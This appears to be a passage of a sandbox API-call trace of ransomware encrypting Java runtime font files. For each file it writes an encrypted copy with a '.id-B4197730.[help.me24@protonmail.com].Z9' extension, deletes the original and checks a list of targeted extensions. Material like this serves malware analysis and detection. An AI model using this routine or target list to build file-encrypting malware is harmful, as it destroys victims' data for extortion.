	[0162.795] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.796] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.796] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0162.798] GetLastError () returned 0x0
	[0162.798] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x12588, lpOverlapped=0x0) returned 1
	[0162.806] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x12590, lpOverlapped=0x0) returned 1
	[0162.809] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.809] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x104, lpOverlapped=0x0) returned 1
	[0162.809] SetEndOfFile (hFile=0x3c8) returned 1
	[0162.809] CloseHandle (hObject=0x3c8) returned 1
	[0162.810] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.810] SetEndOfFile (hFile=0x38c) returned 1
	[0162.817] CloseHandle (hObject=0x38c) returned 1
	[0162.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.818] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1
	[0162.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.819] lstrlenW (lpString=".doc") returned 4
	[0162.819] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0162.819] lstrlenW (lpString=".docx") returned 5
	[0162.819] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0162.819] lstrlenW (lpString=".pdf") returned 4
	[0162.819] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0162.819] lstrlenW (lpString=".xls") returned 4
	[0162.819] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0162.819] lstrlenW (lpString=".xlsx") returned 5
	[0162.819] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0162.819] lstrlenW (lpString=".ppt") returned 4
	[0162.819] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0162.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.819] lstrlenW (lpString=".zip") returned 4
	[0162.819] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0162.819] lstrlenW (lpString=".rar") returned 4
	[0162.819] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0162.819] lstrlenW (lpString=".bz2") returned 4
	[0162.819] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0162.819] lstrlenW (lpString=".7z") returned 3
	[0162.820] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0162.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.820] lstrlenW (lpString=".dbf") returned 4
	[0162.820] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0162.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.820] lstrlenW (lpString=".1cd") returned 4
	[0162.820] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0162.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.820] lstrlenW (lpString=".jpg") returned 4
	[0162.820] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0162.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.823] lstrlenW (lpString=".doc") returned 4
	[0162.823] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0162.823] lstrlenW (lpString=".docx") returned 5
	[0162.823] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0162.823] lstrlenW (lpString=".pdf") returned 4
	[0162.823] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0162.824] lstrlenW (lpString=".xls") returned 4
	[0162.824] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0162.824] lstrlenW (lpString=".xlsx") returned 5
	[0162.824] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0162.824] lstrlenW (lpString=".ppt") returned 4
	[0162.824] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0162.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.824] lstrlenW (lpString=".zip") returned 4
	[0162.824] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0162.824] lstrlenW (lpString=".rar") returned 4
	[0162.825] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0162.825] lstrlenW (lpString=".bz2") returned 4
	[0162.825] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0162.825] lstrlenW (lpString=".7z") returned 3
	[0162.825] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0162.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.825] lstrlenW (lpString=".dbf") returned 4
	[0162.825] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0162.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.825] lstrlenW (lpString=".1cd") returned 4
	[0162.825] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0162.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0162.825] lstrlenW (lpString=".jpg") returned 4
	[0162.825] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0162.826] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0162.826] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22
	[0162.826] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.827] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=80856) returned 1
	[0162.827] CloseHandle (hObject=0x38c) returned 1
	[0162.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20
	[0162.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.827] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.828] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.829] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0162.830] GetLastError () returned 0x0
	[0162.830] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x13bd8, lpOverlapped=0x0) returned 1
	[0162.969] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x13be0, lpOverlapped=0x0) returned 1
	[0162.972] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.973] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x100, lpOverlapped=0x0) returned 1
	[0162.973] SetEndOfFile (hFile=0x43c) returned 1
	[0162.973] CloseHandle (hObject=0x43c) returned 1
	[0162.973] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.973] SetEndOfFile (hFile=0x38c) returned 1
	[0163.099] CloseHandle (hObject=0x38c) returned 1
	[0163.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.099] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1
	[0163.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.100] lstrlenW (lpString=".doc") returned 4
	[0163.100] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.100] lstrlenW (lpString=".docx") returned 5
	[0163.100] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0163.100] lstrlenW (lpString=".pdf") returned 4
	[0163.100] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.100] lstrlenW (lpString=".xls") returned 4
	[0163.100] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.100] lstrlenW (lpString=".xlsx") returned 5
	[0163.100] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0163.100] lstrlenW (lpString=".ppt") returned 4
	[0163.100] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.100] lstrlenW (lpString=".zip") returned 4
	[0163.100] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.100] lstrlenW (lpString=".rar") returned 4
	[0163.100] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.100] lstrlenW (lpString=".bz2") returned 4
	[0163.100] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.100] lstrlenW (lpString=".7z") returned 3
	[0163.100] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.101] lstrlenW (lpString=".dbf") returned 4
	[0163.101] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.101] lstrlenW (lpString=".1cd") returned 4
	[0163.101] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.101] lstrlenW (lpString=".jpg") returned 4
	[0163.101] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.101] lstrlenW (lpString=".doc") returned 4
	[0163.101] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.101] lstrlenW (lpString=".docx") returned 5
	[0163.101] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0163.101] lstrlenW (lpString=".pdf") returned 4
	[0163.101] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.101] lstrlenW (lpString=".xls") returned 4
	[0163.101] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.101] lstrlenW (lpString=".xlsx") returned 5
	[0163.101] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0163.101] lstrlenW (lpString=".ppt") returned 4
	[0163.101] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.101] lstrlenW (lpString=".zip") returned 4
	[0163.101] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.101] lstrlenW (lpString=".rar") returned 4
	[0163.101] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.101] lstrlenW (lpString=".bz2") returned 4
	[0163.101] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.101] lstrlenW (lpString=".7z") returned 3
	[0163.101] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.101] lstrlenW (lpString=".dbf") returned 4
	[0163.101] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.102] lstrlenW (lpString=".1cd") returned 4
	[0163.102] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.102] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0163.102] lstrlenW (lpString=".jpg") returned 4
	[0163.102] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.102] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0163.102] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27
	[0163.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.102] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=242700) returned 1
	[0163.103] CloseHandle (hObject=0x38c) returned 1
	[0163.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20
	[0163.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.103] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.103] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.103] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.103] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.104] GetLastError () returned 0x0
	[0163.104] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x3b40c, lpOverlapped=0x0) returned 1
	[0163.114] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x3b410, lpOverlapped=0x0) returned 1
	[0163.340] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.340] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0163.340] SetEndOfFile (hFile=0x43c) returned 1
	[0163.340] CloseHandle (hObject=0x43c) returned 1
	[0163.340] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.340] SetEndOfFile (hFile=0x38c) returned 1
	[0163.348] CloseHandle (hObject=0x38c) returned 1
	[0163.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.349] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1
	[0163.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.350] lstrlenW (lpString=".doc") returned 4
	[0163.350] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.350] lstrlenW (lpString=".docx") returned 5
	[0163.350] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0163.350] lstrlenW (lpString=".pdf") returned 4
	[0163.350] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.350] lstrlenW (lpString=".xls") returned 4
	[0163.350] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.350] lstrlenW (lpString=".xlsx") returned 5
	[0163.350] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0163.350] lstrlenW (lpString=".ppt") returned 4
	[0163.350] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.350] lstrlenW (lpString=".zip") returned 4
	[0163.350] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.350] lstrlenW (lpString=".rar") returned 4
	[0163.350] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.350] lstrlenW (lpString=".bz2") returned 4
	[0163.350] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.350] lstrlenW (lpString=".7z") returned 3
	[0163.350] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.350] lstrlenW (lpString=".dbf") returned 4
	[0163.350] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.350] lstrlenW (lpString=".1cd") returned 4
	[0163.350] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.351] lstrlenW (lpString=".jpg") returned 4
	[0163.351] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.351] lstrlenW (lpString=".doc") returned 4
	[0163.351] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.351] lstrlenW (lpString=".docx") returned 5
	[0163.351] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0163.351] lstrlenW (lpString=".pdf") returned 4
	[0163.351] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.351] lstrlenW (lpString=".xls") returned 4
	[0163.351] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.351] lstrlenW (lpString=".xlsx") returned 5
	[0163.351] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0163.351] lstrlenW (lpString=".ppt") returned 4
	[0163.351] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.351] lstrlenW (lpString=".zip") returned 4
	[0163.351] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.351] lstrlenW (lpString=".rar") returned 4
	[0163.351] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.351] lstrlenW (lpString=".bz2") returned 4
	[0163.351] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.351] lstrlenW (lpString=".7z") returned 3
	[0163.351] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.352] lstrlenW (lpString=".dbf") returned 4
	[0163.352] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.352] lstrlenW (lpString=".1cd") returned 4
	[0163.352] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0163.352] lstrlenW (lpString=".jpg") returned 4
	[0163.352] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.352] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0163.352] lstrlenW (lpString="jce.jar") returned 7
	[0163.352] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0163.353] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=116446) returned 1
	[0163.353] CloseHandle (hObject=0x38c) returned 1
